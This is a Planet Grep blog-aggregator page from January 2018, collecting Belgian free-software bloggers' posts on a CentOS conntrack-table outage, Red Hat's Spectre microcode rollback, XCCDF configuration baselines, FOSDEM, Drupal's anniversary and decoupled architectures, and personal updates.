Planet Grep

Planet'ing Belgian FLOSS people

Planet Grep is maintained by Wouter Verhelst. All times are in UTC.

January 19, 2018

This is a short summary of my 2017 reading experience, following my 2016 Year In Books and my 2015 Year In Books.

Such Stats

I read 27 books , totaling just over 9000 pages. 13 of these where non-fiction, 6 hard science fiction and 8 pleb science fiction.

In 2017 I did an effort to rate books properly using the Goodreads scale (Did not like, it was OK, I liked it, I really liked it, it was amawzing), hence the books are more distributed rating wise than the previous years, where most got 4 stars.

Non-fiction

While only finished shortly after new year and thus not strictly a 2017 book even though I read 90% of it in 2017, my favorite for the year is The Righteous Mind: Why Good People are Divided by Politics and Religion. A few months ago I saw an interview of Jonathan Haidt, the author of this book. I saw so impressed that I went look for books written by him. As I was about to add his most recent work (this book) to my to-read list on Goodreads, I realized it was already on there, added a few months before. The book is about social and moral psychology and taught me many useful models in how people behave, where to look for ones blind spots, how to avoid polarization and how to understand many aspects of the political landscape. A highly recommended read as far as I am concerned.

Another non-fiction book that I found to be full of useful models that deepened my understanding of how the world works is The Psychopath Code: Cracking The Predators That Stalk Us. Since about 4% of people are psychopaths and thus systematically and mercilessly exploit others (while being very good at covering their tracks), you are almost guaranteed to significantly interact with some over the course of your life. Hence understanding how to detect them and prevent them from feeding on you or those you care about is an important skill. You can check out my highlights from the book to get a quick idea of the contents.

Fiction

Incandescence

After having read a number of more mainstream Science Fiction books that do not empathize on the science or grand ideas as proper Hard Science Fiction, I picked up Incandescence, by Greg Egan, author of one of my 2015 favorite books. As expected from Greg Egan, the focus definitely is on the science and the ideas. The story is set in the The Amalgam galaxy, which I was already familiar with via a number of short stories.

Most of the book deals with a more primitive civilization discovering gradually discovering physics starting from scratch, both using observation and theorization, and eventually creating their own version of General Relativity. Following this is made extra challenging by the individuals in this civilization using their own terms for various concepts, such as the 6 different spatial directions. You can see this is not your usual SF book from this… different trailer that Greg made.

What is so great about this book is that Greg does not explain what is going on. He gradually drops clues that allow you to piece by piece get a better understanding of the situation, and how the story of the primitive civilization fits the wider context. For instance, you find out what “the Incandescence” is. At least you will if you are familiar with the relevant “space stuff”. While in this case it is hard to miss if you know the “space stuff”, the hints are never really confirmed. This is also true for perhaps the most important hinted at thing. I had a “Holy shit! Could it be… this is epic” moment when I made that connection.

Not a book I would recommend for people new to Hard SF, or the best book of Egan to start with. In any case, before reading this one, read some of the stories of The Amalgam.

Diaspora

Since I linked Incandescence so much I decided to finally give Diaspora a go. Diaspora had been on my to-read list for years and I never got to it because of its low rating on Goodreads. (Rant: This perhaps is a foolish metric to look at when it comes to non-mainstream books, as I found out  by reading some highly rated non-fiction books that turned out to be utter garbage geared to people with an IQ below 90, of which apparently there are a lot.)

I loved the first chapter of Diaspora. The final chapters are epic. Spoiler ahead. How can a structure spanning 200 trillion universes and encoding the thoughts of an entire civilization be anything but epic? This beats the Xeelee ring in scale. The choices of some of the characters near the end make little sense to me, though still a great book overall, and perhaps the not making sense part makes sense if one considers how much these characters are not traditional humans.

January 18, 2018

Yesterday, I got some alerts for some nodes in the CentOS Infra from both our monitoring system, but also confirmed by some folks reporting errors directly in our #centos-devel irc channel on Freenode.

The impacted nodes were the nodes we use for mirrorlist service. For people not knowing what they are used for, here is a quick overview of what happens when you run "yum update" on your CentOS node :

  • yum analyzes the .repo files contained under /etc/yum.repos.d/
  • for CentOS repositories, it knows that it has to use a list of mirrors provided by a server hosted within the centos infra (mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra )
  • yum then contacts one of the server behind "mirrorlist.centos.org" (we have 4 nodes so far : two in Europe and two in USA, all available over IPv4 and IPv6)
  • mirrorlist checks the src ip and sends back a list of current/up2date mirrors in the country (some GeoIP checks are done)
  • yum then opens connection to those validated mirrors

We monitor the response time for those services, and average response time is usually < 1sec (with some exceptions, mostly due to network latency also for nodes in other continents). But yesterday the values where not only higher, but also even completely missing from our monitoring system, so no data received. Here is a graph from our monitoring/Zabbix server :

mirrorlist-response-time-error.png

So clearly something was happening and time to also find some patterns. Also from our monitoring we discovered that the number of tracked network connections by the kernel was also suddenly higher than usual. In fact, as soon as your node does some state tracking with netfilter (like for example -m state ESTABLISHED,RELATED ), it keeps that in memory. You can easily retrive number of actively tracked connections like this :

cat /proc/sys/net/netfilter/nf_conntrack_count 

So it's easy to guess what happens if the max (/proc/sys/net/netfilter/nf_conntrack_max) is reached : kernel drops packets (from dmesg):

nf_conntrack: table full, dropping packet

Depending on the available memory, you can get default values, which can be changed in real-time. Don't forget to also tune then the Hash size (basic rule is nf_conntrack_max / 4) On the mirrorlist nodes, we had default values of 262144 (so yeah, keeping track of that amount of connections in memory), so to get quickly the service in shape :

new_number="524288"
echo ${new_number} > /proc/sys/net/netfilter/nf_conntrack_max
echo $(( $new_number / 4 )) > /sys/module/nf_conntrack/parameters/hashsize

Other option was also to flush the table (you can do that with conntrack -F , tool from conntrack-tools package) but it's really only a temporary fix, and that will not help you getting the needed info for proper troubleshooting (see below)

Here is the Zabbix graph showing that for some nodes it was higher than default values, but now kernel wasn't dropping packets.

ip_conntrack_count.png

We could then confirm that service was then working fine (not "flapping" anymore).

So one can think that it was the only solution for the problem and stop investigation there. But what is the root cause of this ? What happened that opened so many (unclosed) connections to those mirrorlist nodes ? Let's dive into nf_conntrack table again !

Not only you have the number of tracked connections (through /proc/sys/net/netfilter/nf_conntrack_count) but also the whole details about those. So let's dump that into a file for full analysis and try to find a pattern :

cat /proc/net/nf_conntrack > conntrack.list
cat conntrack.list |awk '{print $7}'|sed 's/src=//g'|sort|uniq -c|sort -n -r|head

Here we go : same range of IPs on all our mirrorlist servers having thousands of ESTABLISHED connection. Not going to give you all details about this (goal of this blog post isn't "finger pointing"), but we suddenly identified the issue. So we took contact with network team behind those identified IPs to report that behaviour, still to be tracked, but wondering myself if a Firewall doing NAT wasn't closing tcp connections at all, more to come.

At least mirrorlist response time is now back at usual state :

mirrorlist-response-time.png

So you can also let your configuration management now set those parameters through dedicated .conf under /etc/systctl.d/ to ensure that they'll be applied automatically.

I published the following diary on isc.sans.org: “Comment your Packet Captures!“:

When you are investigating a security incident, a key element is to take notes and to document as much as possible. There is no “best” way to take notes, some people use electronic solutions while others are using good old paper and pencil. Just keep in mind: it must be properly performed if your notes will be used as evidence later… With investigations, there are also chances to you will have to deal with packet captures… [Read more]

 

[The post [SANS ISC] Comment your Packet Captures! has been first published on /dev/random]

January 17, 2018

The post Red Hat reverts microcode update to mitigate Spectre, refers to hardware vendors for fix appeared first on ma.ttias.be.

The content of this message is behind a pay/subscription wall, so let me highlight the most important aspects. Red Hat just informed its clients that it will rollback a microcode update that was designed to mitigate the Spectre attack (variant 2).

This was in their e-mail notification:

Latest microcode_ctl package will not contain mitigation for CVE-2017-5715 (Spectre, Variant 2)

Historically, for certain systems, Red Hat has provided updated microprocessor firmware, developed by our microprocessor partners, as a customer convenience. Further testing has uncovered problems with the microcode provided along with the “Spectre” CVE-2017-5715 mitigation that could lead to system instabilities. As a result, Red Hat is providing a microcode update that reverts to the last known and tested microcode version dated before 03 January 2018 and does not address “Spectre” CVE-2017-5715.

In order to mitigate “Spectre” CVE-2017-5715 fully, Red Hat strongly recommends that customers contact their hardware provider for the latest microprocessor firmware updates.

Here's the relevant bit from their KB article.

Red Hat Security is currently recommending that subscribers contact their CPU OEM vendor to download the latest microcode/firmware for their processor.

The latest microcode_ctl and linux-firmware packages from Red Hat do not include resolutions to the CVE-2017-5715 (variant 2) exploit. Red Hat is no longer providing microcode to address Spectre, variant 2, due to instabilities introduced that are causing customer systems to not boot.

The latest microcode_ctl and linux-firmware packages are reverting these unstable microprocessor firmware changes to versions that were known to be stable and well tested, released prior to the Spectre/Meltdown embargo lift date on Jan 3rd. Customers are advised to contact their silicon vendor to get the latest microcode for their particular processor.

Source: What CPU microcode is available via the microcode_ctl package to mitigate CVE-2017-5715 (variant 2)?

This will also affect derived distributions like CentOS, which we use heavily at Nucleus. This patching round isn't over, that's for sure.

The post Red Hat reverts microcode update to mitigate Spectre, refers to hardware vendors for fix appeared first on ma.ttias.be.

A good configuration baseline has a readable structure that allows all stakeholders to quickly see if the baseline is complete, as well as find a particular setting regardless of the technology. In this blog post, I'll cover a possible structure of the baseline which attempts to be sufficiently complete and technology agnostic.

If you haven't read the blog post on documenting configuration changes, it might be a good idea to do so as it declares the scope of configuration baselines and why I think XCCDF is a good match for this.

Chaptered documentation

As mentioned previously, a configuration baseline describes the configuration of a particular technological service (rather than a business service which is an integrated set of technologies and applications). To document and maintain the configuration state of the technology, I suggest the following eight chapters (to begin with):

  1. Architecture
  2. Operating system and services
  3. Software deployment and file system
  4. Technical service settings
  5. Authentication, authorization, access control and auditing
  6. Service specific settings
  7. Cryptographic services
  8. Data and information handling

Within each chapter, sections can be declared depending on how the technology works. For instance, for database technologies one can have a distinction between system-wide settings, instance-specific settings and even database-specific settings. Or, if the organization has specific standards on user definitions, a chapter on "User settings" can be used. The above is just a suggestion in an attempt to cover most aspects of a configuration baseline.

With the sections of the chapter, rules are then defined which specify the actual configuration setting (or valid range) applicable to the technology. But the rule goes further than just a single-line configuration setting description.

Each rule should have a unique identifier so that other documents can reliably link to the rules in the document. Although XCCDF has a convention for this, I feel that the XCCDF way here is more useful for technical referencing while the organization is better off with a more human addressable approach. So while a rule in XCCDF has the identifier xccdf_com.example.postgresql_rule_selinux-enforcing the human addressable identifier would be postgresql_selinux-enforcing or even postgresql-00001. In the company that I work for, we already have a taxonomy for services and a decision to use numerical identifiers on the configuration baseline rules.

Each rule should be properly described, documenting what the rule is for. In case of a ranged value, it should also document how this range can be properly applied. For instance, if the number of worker threads is based on the number of cores available in the system, document the formula.

Each rule should also document the risk that it wants to mitigate (be it a security risk, or a manageability aspect of the service, or a performance related tuning parameter). This aspect of the baseline is important whenever an implementation wants an exception to the rule (not follow it) or a deviation (different value). Personally, to make sure that the baseline is manageable, I don't expect engineers to immediately fill in the risk in great detail, but rather holistically. The actual risk determination is then only done when an implementation wants an exception or deviation, and then includes a list of potential mitigating actions to take. This way, a 300+ rule document does not require all 300+ rules to have a risk determination, especially if only a dozen or so rules have exceptions or deviations in the organization.

Each rule should have sources linked to it. These sources help the reader understand what the rule is based on, such as a publicly available secure configuration baseline, an audit recommendation, a specific incident, etc. If the rule is also controversial, it might benefit from links to meeting minutes.

Each rule might have consequences listed as well. These are known changes or behavior aspects that follow the implementation of the rule. For instance, a rule might state that TLS mutual authentication is mandatory, and the consequence is that all interacting clients must have a properly defined certificate (so proper PKI requirements) as well as client registration in the application.

Finally, and importantly as well, each rule identifies the scope at which exceptions or deviations can be granted. For smaller groups and organizations, this might not matter that much, but for larger organizations, some configuration baseline rules can be "approved" by a small team or by the application owner, while others need formal advise of a security officer and approval on a decision body.

Finding a balanced approval hierarchy

The exception management for configuration baselines should not be underestimated. It is not viable to have all settings handled by top management decision bodies, but some configuration changes might result in such a huge impact that a formal decision needs to be taken somewhere, with proper accountability assigned (yes, this is the architect in me speaking).

Rather than attempting to create a match for all rules, I again like to keep the decision here in the middle, just like I do with the risk determination. The maintainer of the configuration baseline can leave the "scope" of a rule open, and have an intermediate decision body as the main decision body. Whenever an exception or deviation is asked, the risk determination is made and filled in, and with this documented rule now complete a waiver is asked on the decision body. Together with the waiver request, the maintainer also asks this decision body if the rule in the future also needs to be granted on that decision body or elsewhere.

The scope is most likely tied to the impact of the rule towards other services. A performance specific rule that only affects the application hosted on the technology can be easily scoped as being application-only. This means that the application or service owner can decide to deviate from the baseline. A waiver for a rule that influences system behavior might need to be granted by the system administrator (or team) as well as application or service owners that use this system. Following this logic, I generally use the following scope terminology:

  • tbd (to be determined), meaning that there is no assessment done yet
  • application, meaning that the impact is only on a single application and thus can be taken by the application owner
  • instance, meaning that the impact is on an instance and thus might be broader than a single application, but is otherwise contained to the technology. Waivers are granted by the responsible system administrator and application owner(s)
  • system, meaning that the impact is on the entire system and thus goes beyond the technology. Waivers are granted by the responsible system administrator, application owner(s) and with advise from a security officer
  • network, meaning that the impact can spread to other systems or influence behavior of other systems, but remains technical in nature. Waivers are granted by an infrastructure architecture board with advise from a security officer
  • organization, meaning that the impact goes beyond technical influence but also impacts business processes. Waivers are granted by an architecture board with advise from a security officer and senior service owner, and might even be redirected to a higher management board.
  • group, meaning that the impact influences multiple businesses. Waivers are granted by a specific management board

Each scope also has a "-pending" value, so "network-pending". This means that the owner of the configuration baseline suggests that this is the scope on which waivers can be established, but still needs to receive formal validation.

The main decision body is then a particular infrastructure architecture board, which will redirect requests to other decision bodies if the scope goes beyond what that architecture board handles.

Architectural settings

The first chapter in a baseline is perhaps the more controversial one, as it is not a technical setting and hard to validate. However, in my experience, tying architectural constraints in a configuration baseline is much more efficient than having a separate track for a number of reasons.

For one, I strongly believe that architecture deviations are like configuration deviations. They should be documented similarly, and follow the same path as configuration baseline deviations. The scope off architectural rules are also all over the place, from application-level impact up to organization-wide.

Furthermore, architectural positioning of services should not be solely an (infrastructure) architecture concern, but supported by the other stakeholders as well, and especially the responsible for the technology service.

For instance, a rule could be that no databases should be positioned within an organizations DeMilitarized Zone (DMZ), which is a network design that shields off internally positioned services from the outside world. Although this is not a configuration setting, it makes sense to place it in the configuration baseline of the database technology. There are several ways to validate automatically if this rule is followed, depending for instance the organization IP plan.

Another rule could be that web applications that host browser-based applications should only be linked through a reverse proxy, or that a load balancer must be put in front of an application server, etc. This might result in additional rules in the chapter that covers access control as well (such as having a particular IP filter in place), but these rules are the consequence of the architectural positioning of the service.

Operating system and services

The second chapter covers settings specific to the operating system on which the technology is deployed. Such settings can be system-wide settings like Linux' sysctl parameters, services which need to be enabled or disabled when the technology is deployed, and deviations from the configuration baseline of the operating system.

An example of the latter depends of course on the configuration baseline of the operating system (assuming this is a baseline for a technology deployed on top of an operating system, it could very well be a different platform). Suppose for instance that the baseline has the squashfs kernel module disabled, but the technology itself requires squashfs, then a waiver is needed. This is the level where this is documented.

Another setting could be an extension of the SSH configuration (the term "services" in the chapter title here focuses on system services, such as OpenSSH), or the implementation of additional audit rules on OS-level (although auditing can also be covered in a different section).

Software deployment and file system

The third chapter focuses on the installation of the technology itself, and the file system requirements related to the technology service.

Rules here look into file ownership and permissions, mount settings, and file system declarations. Some baselines might even define rules about integrity of certain files (the Open Vulnerability and Assessment Language (OVAL) supports checksum-based validations) although I think this is better tackled through a specific integrity process. Still, if such an integrity process does not exist and automated validation of baselines is implemented, then integrity validation of critical files could be in scope.

Technical service settings

In the fourth chapter, settings are declared regarding the service without being service-specific. A service-specific setting is one that requires functional knowledge of the service, whereas technical service settings can be interpreted without functionally understanding the technology at hand.

Let's take PostgreSQL as an example. A service-specific setting would be the maximum number of non-frozen transaction IDs before a VACUUM operation is triggered (the autovacuum_freeze_max_age parameter). If you are not working with PostgreSQL much, then this makes as much sense as Prisencolinensinainciusol. It sounds like English, but that's about as far as you get.

A technical service setting on PostgreSQL that is likely more understandable is the runtime account under which the database runs (you don't want it to run as root), or the TCP port on which it listens. Although both are technical in nature, they're much more understandable for others and, perhaps the most important reason of all, often more reusable in deployments across technologies.

This reusability is key for larger organizations as they will have numerous technologies to support, and the technical service settings offer a good baseline for initial secure setup. They focus on the runtime account of the service, the privileges of the runtime account (be it capability-based on Linux or account rights on Windows), the interfaces on which the service is reachable, the protocol or protocols it supports, etc.

Authentication, authorization, access control and auditing

The next chapter focuses on the Authentication, Authorization and Accounting (AAA) services, but slightly worded differently (AAA is commonly used in networking related setups, I just borrow it and extend it). If the configuration baseline is extensive, then it might make sense to have separate sections for each of these security concepts.

Some technologies have a strong focus on user management as well. In that case, it might make sense to first describe the various types of users that the technology supports (like regular users, machine users, internal service users, shared users, etc.) and then, per user type, document how these security services act on it.

Service specific settings

The next chapter covers settings that are very specific to the service. These are often the settings that are found in the best practices documentation, secure deployment instructions of the vendor, performance tuning parameters, etc.

I tend to look first at the base configuration and administration guides for technologies, and see what the main structure is that those documents follow. Often, this can be borrowed for the configuration baseline. Next, consider performance related tuning, as that is often service specific and not related to the other chapters.

Cryptographic services

In this chapter, the focus is on the cryptographic services and configuration.

The most well-known example here is related to any TLS configuration and tuning. Whereas the location of the private key (used for TLS services) is generally mentioned in the third chapter (or at least the secure storage of the private key), this section will focus on using this properly. It looks at selecting proper TLS version, making a decent and manageable set of ciphers to support, enabling Online Certificate Status Protocol (OCSP) on web servers, etc.

But services often use cryptographic related algorithms in various other places as well. Databases can provide transparent data file encryption to ensure that offline access to the database files does not result in data leakage for instance. Or they implement column-level encryption.

Application servers might support crypto related routines to the applications they host, and the configuration baseline can then identify which crypto modules are supported and which ones aren't.

Services might be using cryptographic hashes which are configurable, or could be storing user passwords in a database using configurable settings. OpenLDAP for instance supports multiple hashing methods (and also supports storing in plain-text if you want this), so it makes sense to select a hashing method that is hard to brute-force (slow to compute for instance) and is salted (to make certain types of attacks more challenging).

If the service makes use of stored credentials or keytabs, document how they are protected here as well.

Data and information handling

Information handling covers both the regular data management activities (like backup/restore, data retention, archival, etc.) as well as sensitive information handling (to comply with privacy rules).

The regular data management related settings look into both the end user data handling (as far as this is infrastructurally related - this isn't meant to become a secure development guide) as well as service-internal data handling. When the technology is meant to handle data (like a database or LDAP) then certain related settings could be both in the service specific settings chapter or in this one. Personally, I tend to prefer that technology-specific and non-reusable settings are in the former, while the data and information handling chapter covers the integration and technology-agnostic data handling.

If the service handles sensitive information, it is very likely that additional constraints or requirements were put in place beyond the "traditional" cryptographic requirements. Although such requirements are often implemented on the application level (like tagging the data properly and then, based on the tags, handle specific fine-grained access controls, archival and data retention), more and more technologies provide out-of-the-box (or at least reusable) methods that can be configured.

An XCCDF template

To support the above structure, I've made an XCCDF template that might be a good start for documenting the configuration baseline of a technology. It also structures the chapters a bit more with various sections, but those are definitely not mandatory to use as it strongly depends on the technology being documented, the maturity of the organization, etc.

January 16, 2018

We have just published the second set of interviews with our main track speakers. The following interviews give you a lot of interesting reading material about various topics: Howard Chu: Inside Monero. The world's first fungible cryptocurrency Liam Proven: The circuit less traveled. Investigating some alternate histories of computing. Manoj Pillai, Krutika Dhananjay and Raghavendra Gowdappa: Optimizing Software Defined Storage for the Age of Flash Michael Meeks: Re-structuring a giant, ancient code-base for new platforms. Making LibreOffice work well everywhere. Milan Broz: Data integrity protection with cryptsetup tools. what is the Linux dm-integrity module and why we extended dm-crypt to舰

January 15, 2018

Seventeen years ago today, I open-sourced the software behind Drop.org and released Drupal 1.0.0. When Drupal was first founded, Google was in its infancy, the mobile web didn't exist, and JavaScript was a very unpopular word among developers.

Over the course of the past seventeen years, I've witnessed the nature of the web change and countless internet trends come and go. As we celebrate Drupal's birthday, I'm proud to say it's one of the few content management systems that has stayed relevant for this long.

While the course of my career has evolved, Drupal has always remained a constant. It's what inspires me every day, and the impact that Drupal continues to make energizes me. Millions of people around the globe depend on Drupal to deliver their business, mission and purpose. Looking at the Drupal users in the video below gives me goosebumps.

Drupal's success is not only marked by the organizations it supports, but also by our community that makes the project more than just the software. While there were hurdles in 2017, there were plenty of milestones, too:

  • At least 190,000 sites running Drupal 8, up from 105,000 sites in January 2016 (80% year over year growth)
  • 1,597 stable modules for Drupal 8, up from 810 in January 2016 (95% year over year growth)
  • 4,941 DrupalCon attendees in 2017
  • 41 DrupalCamps held in 16 different countries in the world
  • 7,240 individual code contributors, a 28% increase compared to 2016
  • 889 organizations that contributed code, a 26% increase compared to 2016
  • 13+ million visitors to Drupal.org in 2017
  • 76,374 instance hours for running automated tests (the equivalent of almost 9 years of continuous testing in one year)

Since Drupal 1.0.0 was released, our community's ability to challenge the status quo, embrace evolution and remain resilient has never faltered. 2018 will be a big year for Drupal as we will continue to tackle important initiatives that not only improve Drupal's ease of use and maintenance, but also to propel Drupal into new markets. No matter the challenge, I'm confident that the spirit and passion of our community will continue to grow Drupal for many birthdays to come.

Tonight, we're going to celebrate Drupal's birthday with a warm skillet chocolate chip cookie topped with vanilla ice cream. Drupal loves chocolate! ;-)

Note: The video was created by Acquia, but it is freely available for anyone to use when selling or promoting Drupal.

January 14, 2018

January 13, 2018

The post I’m taking a break from cron.weekly appeared first on ma.ttias.be.

A little over 2 years ago I started a weekly newsletter for Linux & open source users, called cron.weekly. Today, I'm sending the last issue in what is probably going to be a pretty long time. I need a break.

Here's why.

tl;dr: I've got a wife, 2 kids, a (more than) full time job, 2 other side projects and a Netflix subscription. For now, cron.weekly doesn't fit in that list anymore.

The good :-)

I started cron.weekly out of a need. A need to read more technical content that I couldn't seem to find in a convenient form. So I started reading news & blogs more intensely and bookmarking whatever I found fascinating. Every week, that turned into a newsletter.

It was good timing for me, too. A few years ago my role at Nucleus, my employer, shifted from a purely technical one to the role of being a manager/management. It meant I was losing my touch with open source, projects, new releases, ... as it was no longer a core part of my role.

Writing cron.weekly forced me, on a weekly basis, to keep up with all the news, to read about new releases, to find new projects. It forced me to stay up-to-date, even if my job didn't directly require or allow it.

The bad :-|

What started as a hobby project quickly grew. At first, a handful of subscribers. After 2 years, a whopping 8.000 monthly newsletter readers. And a couple 1.000's more that read it via the web or the Reddit posts. I'm proud of that reach!

But my initial mistake became worse by the week: I called it a weekly newsletter that I send every Sunday.

That was my tagline: "cron.weekly is a weekly newsletter, delivered to you every Sunday, with news & tools tailored to Linux sysadmins.".

Weekly implies a never-ending-commitment and Sunday implies a weekly deadline. In the weekend.

In short, in the last 2 years I've spent at least one evening per weekend -- without a break -- writing a cron.weekly issue. At first because I loved it, but towards the end more because I had to. I had to, because I also found a way to monetize my newsletter: sponsors.

I won't lie, running cron.weekly has been my most profitable side business to day. Factor 10x more than all the others. But it's no passive income, it requires a newsletter issue every week, on the clock. And, it's a lot of writing & thinking, it's not a 10 minute write-up every week.

Having sponsors meant I had money coming in, justifying my time. But having sponsors also meant I had schedules, deals, commitments, ... that need to be upheld. Some sponsors want to time their new software launch with a big campaign (of which cron.weekly would be one aspect), so I can't just shift them around on a weekly basis. Sponsors -- rightfully so -- want to know when they get featured.

Adding sponsors turned it from a hobby to a job. At least, that's how it feels. It's no longer a spontaneous non-committal newsletter, it's now a business.

The ugly :-(

I all honesty, I'm burned-out from writing cron.weekly. Not Linux or open source in general, nor my day job, but I'm tired of writing cron.weekly. I'm just tired, in general. I had to force myself to write it. Toward the end, I dreaded it.

If I couldn't get it done on Friday evening, I would spend the rest of the weekend worrying that I couldn't get it done in time. It would keep haunting me in the back of my head "you need to write cron.weekly".

I did this onto myself, it's my own bloody fault. It should have been cron.random or cron.monthly. A weekly newsletter is intense & requires a lot of commitment, something I can't give at the moment.

So here we are ...

Among my other side gigs/hobbies are DNS Spy, Oh Dear, a newly found love for cryptocurrencies, ... and cron.weekly just doesn't fit at the moment.

As a result, I'm going to stop cron.weekly. For now. I don't want to say I completely quit, because I might pick it back up again.

But for now, I need a mental break from the weekly deadlines and to be able to enjoy my weekends, once again. Life's busy enough already.

If cron.weekly returns, it will give me the ability to rethink the newsletter, the timings & my commitments. Taking a break will allow me to re-launch it in a way that would fit in my life, in my family and in my hobbies.

I hope you enjoyed cron.weekly in the last 2 years. Who knows, you might receive a new surprise issue in a couple of months if I start again!

PS; I will never sell cron.weekly, nor the email userlist behind it. I appreciate the faith you had in me by giving me your e-mail address, that information remains closed and guarded. You won't be spammed.

The post I’m taking a break from cron.weekly appeared first on ma.ttias.be.

With FOSDEM just around the corner, it is time for us to enlist your help. Every year, an enthusiastic band of volunteers make FOSDEM happen and make it a fun and safe place for all our attendees. We could not do this without you. This year we again need as many hands as possible, especially for heralding during the conference, during the buildup (starting Friday at noon) and teardown (Sunday evening). No need to worry about missing lunch. Food will be provided. Would you like to be part of the team that makes FOSDEM tick? Sign up here! You could舰

January 11, 2018

I published the following diary on isc.sans.org: “Mining or Nothing!“:

Cryptocurrencies mining has been a trending attack for a few weeks. Our idling CPUs are now targeted by bad guys who are looked to generate some extra revenue by abusing our resources. Other fellow handlers already posted diaries about this topic. Renato found a campaign based on a WebLogic exploit[1] and Jim detected a peak of activity on port 3333[2]… [Read more]

[The post [SANS ISC] Mining or Nothing! has been first published on /dev/random]

January 10, 2018

In this post, I'm providing some guidance on how and when to decouple Drupal.

Almost two years ago, I had written a blog post called "How should you decouple Drupal?". Many people have found the flowchart in that post to be useful in their decision-making on how to approach their Drupal architectures. Since that point, Drupal, its community, and the surrounding market have evolved, and the original flowchart needs a big update.

Drupal's API-first initiative has introduced new capabilities, and we've seen the advent of the Waterwheel ecosystem and API-first distributions like Reservoir, Headless Lightning, and Contenta. More developers both inside and outside the Drupal community are experimenting with Node.js and adopting fully decoupled architectures. As a result, Acquia now offers Node.js hosting, which means it's never been easier to implement decoupled Drupal on the Acquia platform.

Let's start with the new flowchart in full:

All the ways to decouple Drupal

The traditional approach to Drupal architecture, also referred to as coupled Drupal, is a monolithic implementation where Drupal maintains control over all front-end and back-end concerns. This is Drupal as we've known it — ideal for traditional websites. If you're a content creator, keeping Drupal in its coupled form is the optimal approach, especially if you want to achieve a fast time to market without as much reliance on front-end developers. But traditional Drupal 8 also remains a great approach for developers who love Drupal 8 and want it to own the entire stack.

A second approach, progressively decoupled Drupal, offers an approach that strikes a balance between editorial needs like layout management and developer desires to use more JavaScript, by interpolating a JavaScript framework into the Drupal front end. Progressive decoupling is in fact a spectrum, whether it is Drupal only rendering the page's shell and populating initial data — or JavaScript only controlling explicitly delineated sections of the page. Progressively decoupled Drupal hasn't taken the world by storm, likely because it's a mixture of both JavaScript and PHP and doesn't take advantage of server-side rendering via Node.js. Nonetheless, it's an attractive approach because it makes more compromises and offers features important to both editors and developers.

Last but not least, fully decoupled Drupal has gained more attention in recent years as the growth of JavaScript continues with no signs of slowing down. This involves a complete separation of concerns between the structure of your content and its presentation. In short, it's like treating your web experience as just another application that needs to be served content. Even though it results in a loss of some out-of-the-box CMS functionality such as in-place editing or content preview, it's been popular because of the freedom and control it offers front-end developers.

What do you intend to build?

The most important question to ask is what you are trying to build.

  1. If your plan is to create a single standalone website or web application, decoupling Drupal may or may not be the right choice based on the must-have features your developers and editors are asking for.
  2. If your plan is to create multiple experiences (including web, native mobile, IoT, etc.), you can use Drupal to provide web service APIs that serve content to other experiences, either as (a) a content repository with no public-facing component or (b) a traditional website that is also a content repository at the same time.

Ultimately, your needs will determine the usefulness of decoupled Drupal for your use case. There is no technical reason to decouple if you're building a standalone website that needs editorial capabilities, but that doesn't mean people don't prefer to decouple because of their preference for JavaScript over PHP. Nonetheless, you need to pay close attention to the needs of your editors and ensure you aren't removing crucial features by using a decoupled approach. By the same token, you can't avoid decoupling Drupal if you're using it as a content repository for IoT or native applications. The next part of the flowchart will help you weigh those trade-offs.

Today, Drupal makes it much easier to build applications consuming decoupled Drupal. Even if you're using Drupal as a content repository to serve content to other applications, well-understood specifications like JSON API, GraphQL, OpenAPI, and CouchDB significantly lower its learning curve and open the door to tooling ecosystems provided by the communities who wrote those standards. In addition, there are now API-first distributions optimized to serve as content repositories and SDKs like Waterwheel.js that help developers "speak" Drupal.

Are there things you can't live without?

Perhaps most critical to any decision to decouple Drupal is the must-have feature set desired for both editors and developers. In order to determine whether you should use a decoupled Drupal, it's important to isolate which features are most valuable for your editors and developers. Unfortunately, there is are no black-and-white answers here; every project will have to weigh the different pros and cons.

For example, many marketing teams choose a CMS because they want to create landing pages, and a CMS gives them the ability to lay out content on a page, quickly reorganize a page and more. The ability to do all this without the aid of a developer can make or break a CMS in marketers' eyes. Similarly, many digital marketers value the option to edit content in the context of its preview and to do so across various workflow states. These kind of features typically get lost in a fully decoupled setting where Drupal does not exert control over the front end.

On the other hand, the need for control over the visual presentation of content can hinder developers who want to craft nuanced interactions or build user experiences in a particular way. Moreover, developer teams often want to use the latest and greatest technologies, and JavaScript is no exception. Nowadays, more JavaScript developers are including modern techniques, like server-side rendering and ES6 transpilation, in their toolboxes, and this is something decision-makers should take into account as well.

How you reconcile this tension between developers' needs and editors' requirements will dictate which approach you choose. For teams that have an entirely editorial focus and lack developer resources — or whose needs are focused on the ability to edit, place, and preview content in context — decoupling Drupal will remove all of the critical linkages within Drupal that allow editors to make such visual changes. But for teams with developers itching to have more flexibility and who don't need to cater to editors or marketers, fully decoupled Drupal can be freeing and allow developers to explore new paradigms in the industry — with the caveat that many of those features that editors value are now unavailable.

What will the future hold?

In the future, and in light of the rapid evolution of decoupled Drupal, my hope is that Drupal keeps shrinking the gap between developers and editors. After all, this was the original goal of the CMS in the first place: to help content authors write and assemble their own websites. Drupal's history has always been a balancing act between editorial needs and developers' needs, even as the number of experiences driven by Drupal grows.

I believe the next big hurdle is how to begin enabling marketers to administer all of the other channels appearing now and in the future with as much ease as they manage websites in Drupal today. In an ideal future, a content creator can build a content model once, preview content on every channel, and use familiar tools to edit and place content, regardless of whether the channel in question is mobile, chatbots, digital signs, or even augmented reality.

Today, developers are beginning to use Drupal not just as a content repository for their various applications but also as a means to create custom editorial interfaces. It's my hope that we'll see more experimentation around conceiving new editorial interfaces that help give content creators the control they need over a growing number of channels. At that point, I'm sure we'll need another new flowchart.

Conclusion

Thankfully, Drupal is in the right place at the right time. We've anticipated the new world of decoupled CMS architectures with web services in Drupal 8 and older contributed modules. More recently, API-first distributions, SDKs, and even reference applications in Ember and React are giving developers who have never heard of Drupal the tools to interact with it in unprecedented ways. Moreover, for Acquia customers, Acquia's recent launch of Node.js hosting on Acquia Cloud means that developers can leverage the most modern approaches in JavaScript while benefiting from Drupal's capabilities as a content repository.

